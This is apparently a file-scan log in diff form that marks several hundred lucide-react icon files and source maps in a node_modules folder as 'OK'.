+/scan/node_modules/lucide-react/dist/esm/icons/chevron-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shopping-basket.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg-fried.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/camera-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer-sun.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-search-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/usb.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban-square-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-user.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bus-front.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-template.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-inactive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/siren.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/outdent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/form-input.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/club.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plus-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-input.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-play.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/terminal-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/superscript.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-swiss-franc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-swiss-franc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ampersand.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/database-backup.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-mouse-pointer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/info.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-inactive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-draft.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/reply.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-close.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-low.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smartphone-charging.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-square-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-play.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/memory-stick.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pickaxe.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-wall-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ghost.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/snail.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-warning.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-help.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tube-diagonal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-vocal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trophy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/speech.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-from-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/figma.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fingerprint.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/handshake.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/save.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trello.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-left-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-dashboard.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-music.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-filter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-desk.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/infinity.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/soup.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/palmtree.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/roller-coaster.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug-zap.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-smartphone.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/land-plot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milestone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/library.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-moon-rain.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-create.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folders.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause-octagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-right-bottom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/maximize.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left-from-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/maximize-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layers-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/currency.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/annoyed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bean-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-6.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-symlink.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-up-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fullscreen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pointer-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pipette.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-right-dash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slice.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2x2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane-landing.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-start-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layers.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-output.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-circle-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contrast.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/asterisk.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drafting-compass.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lightbulb.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unfold-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gem.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pencil-ruler.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radar.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brain-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/blocks.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-call.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/screen-share.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lasso.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-diamond.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wrap-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wheat-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/baby.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-info.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bold.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lightbulb-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlink-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/speaker.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-vertical-start.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cooking-pot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milk.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tent-tree.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-sliders.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-parking.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/telescope.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sparkle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/voicemail.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrows-up-from-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/github.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milestone.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/banana.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-fork.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-user-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pc-case.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-lower.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/space.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-1-0.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-moon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug-zap-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cigarette-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brackets.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lightbulb.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/space.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pc-case.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-vertical-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/goal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swords.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/download-cloud.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-headphones.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-git-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-gauge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x-octagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-power.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-activity.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/strikethrough.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/popsicle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-horizontal-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spray-can.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/coffee.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shuffle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/key-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/github.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tractor.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-collapse.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-moon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contact.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-center.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/accessibility.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/help-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/goal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dumbbell.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scroll-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gamepad.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fold-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/reply-all.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-diff.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rabbit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/router.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bed-double.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot-message-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-wide-narrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candlestick-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-russian-ruble.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-json.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/inbox.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-tabs.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rocking-chair.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signpost.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/quote.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-warning.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tablets.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-plus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-copy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-edit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/asterisk.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/divide-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/timer-reset.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-type.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-sigma.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-scissors.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-tree.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-signature.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map-pinned.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/box-select.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-share.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio-receiver.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-search-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-vertical-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axe.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fish-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-down-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-japanese-yen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy-cane.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-pound-sterling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/activity-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-template.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/piano.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sort-desc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pointer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-activity.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ribbon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cake-slice.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ship.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/snowflake.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/variable.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gavel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/watch.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/step-back.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/earth.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-slash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/app-window.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/workflow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-diff.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-checks.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sort-desc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/waves.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/headset.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fence.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-minus-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flame.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/umbrella.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chrome.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-moon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-fork.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-a.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-pen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dices.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rss.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map-pinned.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bus-front.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/command.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axe.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-stack.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-japanese-yen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wheat.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/share-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-badge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-sun-rain.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-merge.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ear-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/settings-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ear-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/concierge-bell.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-badge.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laptop.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thumbs-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/focus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/filter-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-missed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/squircle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/piano.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-arrow-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ferris-wheel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-fading-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/award.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-minimal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-cw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-merge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-space-between.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left-from-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map-pin.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-minus.js: OK
